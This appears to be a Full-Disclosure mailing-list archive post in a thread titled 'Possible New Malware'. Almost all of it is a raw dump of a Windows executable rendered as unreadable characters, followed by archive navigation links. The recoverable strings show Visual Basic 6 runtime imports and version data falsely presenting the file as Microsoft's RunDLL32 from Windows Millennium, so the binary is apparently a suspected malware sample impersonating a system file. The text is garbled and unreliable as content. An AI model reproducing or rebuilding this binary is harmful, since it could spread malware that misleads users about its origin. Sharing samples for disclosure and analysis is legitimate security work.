[?å]Â??????????U?ì?ìhö@d¡Pd?%?ì?SVW?eìÇEðÈ@?u?Æ?à?Eô?æþ?u3ÿ?}ø?VÿQ?}Ô?}Ä?}´?}¤?}??}?jÿ(@WhÈ@?UÔRÿh@?ÆH?EÔPVÿ?@?MÔÿ
@¸H#@?EÌ¹?MÄºFæ1?U¬¿?}¤ÇE?¬#@?M??ì?Ü??MÈ?K?C?EÐ?C
?ì?Ì?9?E¨?A?Q?U°?Q?ì?Ä?M???U??P?M??H?U??P
Wh|@V?=H@ÿ×P??@ÿÓ¸Ä#@?EÌ¹?MÄÇE¬($@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸L$@?EÌ¹?MÄÇE¬°$@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸(%@?EÌ¹?MÄÇE¬?%@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓÇEÌØ%@¹?MÄ?U?BX?Ä,?Ô?
?MÈ?J?MÌ?J?MÐ?JP?U?Â4R?EÔPÿp@?ì?Ì???P?Q?P?Q?@?A
?ì?Ì¸??U??Q¸l@?A?E ?Ajh|@Vÿ×PÿÓ?Ä<?MÔÿ
@¹?E?PD?UÌ?Ñ?UÄÇE?l@?U??ì?Ô?
?M¸?J¹<&@?J?MÀ?J?ÀXP?UÄR?EÔPÿp@?ì?Ì???P?Q?P?Q?@?A
?ì?Ì?U???E??A?U??Q?E??Ajh|@Vÿ×PÿÓ?Ä<?MÔÿ
@¸ &@?EÌ¹?MÄÇE¬Ì$@?M¤ÇE?l@?M??ì?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸'@?EÌ¹?MÄÇE¬Ø(@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸l'@?EÌ¹?MÄÇE¬Ð'@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸Ü'@?EÌ¹?MÄÇE¬@(@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸t(@?EÌ¹?MÄÇE¬ð$@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸\+@?EÌ¹?MÄÇE¬Ä+@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸,@?EÌ¹?MÄÇE¬|,@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸Ì,@?EÌ¹?MÄÇE¬4-@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸?-@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ü-@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸`.@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ä.@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸H/@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸¬/@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸0@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸?0@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ð0@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸T1@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸¸1@?EÌ¹?MÄÇE¬2@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸X2@?EÌ¹?MÄÇE¬Ô@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸¼2@?EÌ¹?MÄÇE¬ 3@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸,3@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸?3@?EÌ¹?MÄÇE¬Ô@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ø3@?EÌ¹?MÄÇE¬\4@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸¨4@?EÌ¹?MÄÇE¬5@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸85@?EÌ¹?MÄÇE¬Ô@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸¨5@?EÌ¹?MÄÇE¬Ô@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸6@?EÌ¹?MÄÇE¬Ô@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸p6@?EÌ¹?MÄÇE¬Ø6@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ô6@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸X7@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸À7@?EÌ¹?MÄÇE¬Fæ1ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ 8@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸|8@?EÌ¹?MÄÇE¬dÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸à8@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸D9@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸¨9@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸:@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸p:@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ô:@?EÌ¹?MÄÇE¬?ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸X;@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸¼;@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ <@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸?<@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ø<@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸\=@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸À=@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸4>@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸?>@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ü>@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸`?@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ä?@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸H@@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸¬@@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸A@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸?A@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸üA@?EÌ¹?MÄº?U¬?U¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸`B@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ÄB@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸8C@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸?C@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸D@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸dD@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ØD@?EÌ¹?MÄÇE¬oÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸<E@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ E@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸F@?EÌ¹?MÄÇE¬lF@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸?F@?EÌ¹?MÄÇE¬lF@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸øF@?EÌ¹?MÄÇE¬`G@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸tG@?EÌ¹?MÄÇE¬ÜG@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ðG@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸TH@?EÌ¹?MÄÇE¬Ì$@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸¸H@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸I@?EÌ¹?MÄÇE¬ÎÌAÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸?I@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ðI@?EÌ¹?MÄÇE¬ ?ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸TJ@?EÌ¹?MÄÇE¬ÇE¤ÇE?¬#@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸¸J@?EÌ¹?MÄÇE¬ÈK@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸4L@?EÌ¹?MÄÇE¬ÔL@?M¤ÇE?l@?M??U?rh?Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ¸ôL@?EÌ¹?MÄÇE¬xK@?M¤ÇE?l@?M??Ä,?Ô?
?MÈ?J?B?EÐ?B?ì?Ì?U¤??E¨?A?U¬?Q?E°?A?ì?Ì?U???E??A?U??Q?E??A
jh|@Vÿ×PÿÓ?Ä<ÿ@¸¸J@?EÌ¹?MÄº?K@?U¬?ñ?u¤¿l@?}??M??ì?Ü??MÈ?K?C?EÐ?C
?ì?Ì?1?E¨?A?Q?U°?Q?ì?Ä?Î??U??P?x?M??H
jh|@?U?ÂHRÿH@Pÿ?@?Ä<ÿ@ÿ$@h?@ë
?MÔÿ@ÃÃ?E?PÿQ?Eô?Mäd?
_^[?å]Â???????????Üÿÿÿÿÿÿÿÿ??¢?¬?º?Ê?Ú?æ?ö???,?<?L?Z?l?~?????ª?º?È?Ö?ì?ö??(?6?Ì?H?\?j?t?????¨?º?d?È?Ú?î?þ??
 
?*?4?>?MSVBVM60.DLL_CIcos_adj_fptan__vbaVarMove__vbaFreeVar__vbaEnd_adj_fdiv_m64_adj_fprem1__vbaHresultCheckObj_adj_fdiv_m32__vbaExitProc__vbaOnError__vbaObjSet_adj_fdiv_m16i_adj_fdivr_m16i_CIsin__vbaChkstkEVENT_SINK_AddRef__vbaVarTstEq__vbaObjVar_adj_fpatanEVENT_SINK_Release_CIsqrtEVENT_SINK_QueryInterface__vbaExceptHandler_adj_fprem_adj_fdivr_m64__vbaFPException__vbaVarCat_CIlog_adj_fdiv_m32i_adj_fdivr_m32i__vbaStrCopy_adj_fdivr_m32_adj_fdiv_r__vbaVarSetVar__vbaLateMemCall__vbaVarCopy__vbaVarLateMemCallLd_CIatan_allmul_CItan_CIexp__vbaFreeObjê?AZX?@?(?ê?AZx?ê?AZ??ê?AZ1uÀ?2u¨?ê?AZ
    
Øê?AZèê?AZøê?AZ 
¡\°|¤$° ¤è°?§0°\4VS_VERSION_INFO½ïþZ¸Z¸DVarFileInfo$Translation
     
°¼StringFileInfo?040904B0L,CompanyNameMicrosoft
 CorporationT,FileDescriptionRun a 
DLL as an 
App32tPLegalCopyrightCopyright (C) 
Microsoft Corp. 
1991-1998?hProductNameMicrosoft(R) 
Windows(R) Millennium Operating 
System4FileVersion4.90.30008ProductVersion4.90.30004InternalNameRunDLL32eDOriginalFilenameRunDLL32e.exe
  01u  è2u( 
@?????????????ÀÀÀÿÿÿÿÿÿÿÿÿÿÿÿÀ
ÌÌ@°ÀÌÌÀ»°ÀÌÀ»°
ÌÀ»°ÌÀ»°LÀ³?              
        ?      ?      ??"        ?               ?      ??" 
        ?           ??"           ??" 
?$ê´æ§â¥Z7ê?Z¯ê´æ§ÿÿÿÿê?e·êf²?âjª·ê³$?ÿÿÿÿÿoÿÿû"çù¢?íúïnû"ù¢íúïnû"ù¢íúïnû"ù¢íúïnû"ù¢íûïÿÀ?ÿÿÿÿ(
 
@ÿÿÿê´æ§â¥Z7ê?Z¯ê´æ§ÿÿÿÿê?e·êf²?âjª·ê³$?ÿÿÿÿÿoÿÿû"çù¢?íúïnû"@'ù¢yçíúyçïnyçû"yçù¢?íúïn@'û"yçù¢yçíúyçïnyçû"?ù¢íûïÿÀ?ÿÿÿÿ

Follow-Ups:
- RE: [Full-Disclosure] Possible New Malware....
  - From: Kane Lightowler

Prev by Date: RE: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro. (ZA will fail to load)-WASTE OF TIME
Next by Date: Re: [Full-Disclosure] Windows Update
Previous by thread: RE: [Full-Disclosure] Unsecure file permission of ZoneAlarm pro. (ZA will fail to load)-WASTE OF TIME
Next by thread: RE: [Full-Disclosure] Possible New Malware....
Index(es):
- Date
- Thread